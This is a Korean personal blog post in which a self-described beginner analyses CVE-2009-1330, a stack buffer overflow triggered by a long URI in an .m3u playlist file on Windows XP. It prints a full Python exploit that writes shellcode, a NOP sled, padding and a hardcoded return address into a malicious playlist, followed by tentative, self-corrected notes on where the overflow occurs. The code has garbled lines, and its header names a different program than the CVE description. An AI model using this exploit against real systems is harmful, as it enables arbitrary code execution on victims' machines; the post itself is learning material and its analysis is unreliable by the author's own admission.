Phantom

어제의 글을 완전 뒤집어버리는 거의 Windows Exploit 예제급인 CVE-2009-1330 초짜분석 본문

Pwnable/기법 또는 공부한 자료

어제의 글을 완전 뒤집어버리는 거의 Windows Exploit 예제급인 CVE-2009-1330 초짜분석

Ph4nt0m_ 2017. 11. 28. 10:11
반응형
어...............

아무생각이없다.

첫 분석이긴한데..어....어떻게 작성해야할지
너무 분석력도 떨어져서 확실하게 분석한건 맞는지 의심이 들 정도로 분석력이 미약하다.

일단 CVE를 보자면 


Mini-stream Sadow Stream Recorder 3.0.1.7의 Stack-Based BOF는 원격 공격자가 재생 목록 (.m3u) 파일의 긴 URI를 통해 임의의 코드를 실행할 수있게합니다.
라고 설명 되어있다.

POC코드를 보면 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#
# Exploit for Easy RM to MP3 27.3.700 on  Windows XP sp3
# By Ph4nt0m
# tested on Windows XP SP3
# version:27.3.700
# Date:27.11.2017
from struct import *
= lambda x: pack("<L", x)
 
buf =  ""
buf += "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x58\x49"
buf += "\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54"
buf += "\x55\x74\x6c\x34\x66\x38\x65\x63\x6b\x79\x6c\x71\x34"
buf += "\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f"
buf += "\x54\x43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34"
buf += "\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\x6c\x52\x32"
buf += "\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70"
buf += "\x4d\x43\x32\x62\x54\x31\x4c\x37\x56\x43\x76\x50\x6d"
buf += "\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d"
buf += "\x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61"
buf += "\x39\x30\x39\x4e\x36\x6e\x48\x58\x73\x5a\x37\x63\x50"
buf += "\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c"
buf += "\x52\x6d\x38\x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a"
buf += "\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\x57"
buf += "\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47"
buf += "\x62\x43\x6e\x72\x4d\x6a\x36\x77\x6f\x75\x78\x45\x56"
buf += "\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56"
buf += "\x67\x54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44"
buf += "\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x77\x31"
buf += "\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71"
buf += "\x42\x45\x6f\x5a\x4f\x6d\x69\x46\x4c\x30\x65\x69\x4c"
buf += "\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b"
buf += "\x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a"
buf += "\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x71\x50\x4f"
buf += "\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f"
buf += "\x4b\x39\x4b\x33\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32"
buf += "\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f"
buf += "\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72"
buf += "\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x50\x32\x6e\x62\x76"
buf += "\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b"
buf += "\x6e\x6d\x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71"
buf += "\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c"
buf += "\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54"
buf += "\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\x56\x68\x42\x4d"
buf += "\x76\x74\x33\x79\x76\x35\x41\x41"
 
 
# Exploit Payload
payload = '\x90'*100 + buf + "A"*(26109 - 100 -len(buf))
payload += p('<L',0x000FFD80# RET Address
#payload = 'A'*30000
 
= open("test2.m3u""wb")
f.write(payload)
f.close()

XP의 환경이라 간단한 BOF인것을 알 수 있다.

그럼 이제 이것이 어떻게 취약점이 되게 된 건지 살펴보자.

이 취약점은 MFC의 쓰레드에서 PUMPMessage, DispatchMessage 함수에서 BOF취약점이 발생한다.
내가생각했던건 strcpy였는데 그게 아니었다.


첫 번째 DispatchMessage 함수가 버퍼를 0으로 초기화시킨다.


그리고 쓰레드 내의 PeekMessage함수를 지나


다시 PumpMeassage 안으로 들어가서 Dispatch 함수 안으로 들어가게 된다.


그리고 다시 PumpMessage로 입력값을 받아서 버퍼에 덮어 씌우게 되고 그로인데 BOF가 가능 할 수 있게 된다


아직 초보라 자세한 것은 모르겠다. 

분명한것은 이 함수는 취약한 함수이고 이 함수 내부의 Dispatch부분이 한번 더 실행함으로써 인자값을 받아온다.

생각했던것과 달리 소스 안의 strcpy로 인한 BOF가 아니었다.
왜 IDA에서 자꾸 함수 마무리부분에서 BOF가 일어나나 2일을 삽질 한 것 같다.

POC는 매우 간단했고 XP의 기법은 매우 쉬웠다. 
우회 방법 등등 여러기법이 있겠지만 그것은 나중에 😃


PS. Link 이곳의 링크를 보면 다음과 같은 설명이 나온다
일반적인 프로그램들의 경우 GetMessage()와 PeekMessage()라는 Win32 API함수를 이용해 메시지를 큐로부터 꺼내서 DispatchMessage() 함수를 이용해 적절한 윈도우 프로시져(Window Procedure)에 적용시키는 이벤트 루프를 포함하고 있다.

아마 이것으로 인해서 DispatchMessage()함수가 입력값을 가져올 수 있지않았나 싶다.


출처 - Hackerschool



.............................

어......아이다 코드만 보고 했을때는 저것인줄 알았다. 하지만... 많은 도움을 주신 분이 그 프로시저를 처리하는 진짜 비즈니스 로직을 찾으라는 말에 다시 분석을 하기 시작했다.

그리고 내가 틀렸다. ㄷㄷ;;

그리고 상당히 프로그램 안에 입력값을 복사하는 루프들이 많아서 헷갈림이 겹쳤다.

해당 BOF는 여기서 터지게 된다.


각종 변수들.

그리고 BOF가 터지는 루프는...


이곳이 되겠다. 어셈 코드로 보면 Playlist_create를 하고 Find_Next 하는 함수 안에 있는데


이곳에서 값 복사가 일어난다. 그리고 프로그램 흐름에 따라가는 것이다.


어....아직도 맞는건지는 모르겠지만 생각보다 뭐랄까 확신이 자꾸 안선다. 

처음에 말했던 PumpMessage, PeekMessage, DispatchMessage 함수가 BOF를 일으키는것인줄알았는데 그것이 실제 일어나는 비즈니스 로직을 찾으라는 말에 다시 분석했고, 그나마 비슷한 C언어 로직을 찾게 되었다.

아까 말했다시피 값을 복사하는 루프가 상당히 많았다. fread, Find_NextItem등등 fread는 1024만큼만 복사를해서 BOF가일어나지않는다.

음...잘 마무리한건지 잘 모르겠다 ^^;;







반응형

'Pwnable > 기법 또는 공부한 자료' 카테고리의 다른 글

Bindiff 설치  (0) 2017.11.21
Comments